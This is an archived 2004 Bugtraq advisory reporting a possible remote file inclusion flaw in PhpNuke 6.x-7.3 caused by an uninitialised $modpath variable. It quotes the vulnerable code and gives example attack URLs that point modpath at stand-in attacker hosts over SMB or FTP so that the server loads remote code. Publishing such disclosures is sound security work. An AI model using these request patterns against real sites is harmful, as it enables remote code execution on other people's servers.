lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20040517184541.25558.qmail@www.securityfocus.com>
Date: 17 May 2004 18:45:41 -0000
From: Janek Vind <come2waraxe@...oo.com>
To: bugtraq@...urityfocus.com
Subject: [waraxe-2004-SA#029 - Possible remote file inclusion in PhpNuke
    6.x - 7.3]






{================================================================================}
{                              [waraxe-2004-SA#029]                              }
{================================================================================}
{                                                                                }
{             [ Possible remote file inclusion in PhpNuke 6.x - 7.3 ]            }
{                                                                                }
{================================================================================}
                                                                                                                                
Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=29


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From what should i start? Well, let's begin from looking at source code of the
index.php file from PhpNuke package. 

From original code:

----------------------------------------------------------------------
...

if (file_exists("themes/$ThemeSel/modules/$name/$mod_file.php"))
	{
		$modpath = "themes/$ThemeSel/";
	}
	$modpath .= "modules/$name/$mod_file.php";
	if (file_exists($modpath))
	{
		include($modpath);
	}
	else
	{

...

----------------------------------------------------------------------

What we can see, is that IF selected theme has not customized module file, then path
to default module file will be concatenated to variable $modpath:

$modpath .= "modules/$name/$mod_file.php";

Hmm, it seems, that $modpath is not initialized at all on those conditions...
Let's test it in real world:

http://localhost/nuke73/index.php?modpath=foobar

And what we can see:

"There is a problem right now on the Homepage. Please check back later."

Yes, yes, yes, it works! But now comes bad news for all potential attackers (and good
news for website admins): you see the code "if (file_exists($modpath))"?
This checking routine will fail our attempt to remote file inclusion on most of the
servers. Why "most", not "all"? For answer let's look at php manual (RTFM!!!):

From php manual:

----------------------------------------------------------------------
...

file_exists

(PHP 3, PHP 4 )
file_exists -- Checks whether a file or directory exists 

Description
bool file_exists ( string filename)

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise. 
On windows, use //computername/share/filename or \\computername\share\filename to 
check files on network shares.

Tip: As of PHP 5.0.0 this function can also be used with some url wrappers.
Refer to Appendix I for a listing of which wrappers support stat() family of functionality.

...
-----------------------------------------------------------------------

And if we look for information about "some url wrappers", then we can see, that
in case of php version 5.x remote inclusion through ftp protocol is possible, because
"file_exists()" function will return "true", when "$modpath" is properly set.

So by my opinion there is 2 cases, when remote file inclusion is possible:


1. If victim server is running Windows operating system and there are no firewall 
restrictions against remote SMB connections. Then potential attacker can exploit
remote file inclusion with http request similar like this:

http://localhost/nuke73/index.php?modpath=//attacker_ip/share_name/


2. If victim server is running php version 5.x, then attack request can be something like this:

http://localhost/nuke73/index.php?modpath=ftp://attacker.com/directory/


And because windows servers with phpnuke are rare fenomena, and php version 5.x
is not yet widespread, then right now this remote file inclusion case is not so
critical and will not harm many servers, but it's needed to be fixed ASAP.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch this security hole? Then you are welcome to visit
forum on my homepage at  http://www.waraxe.us/forum/
See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@...oo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ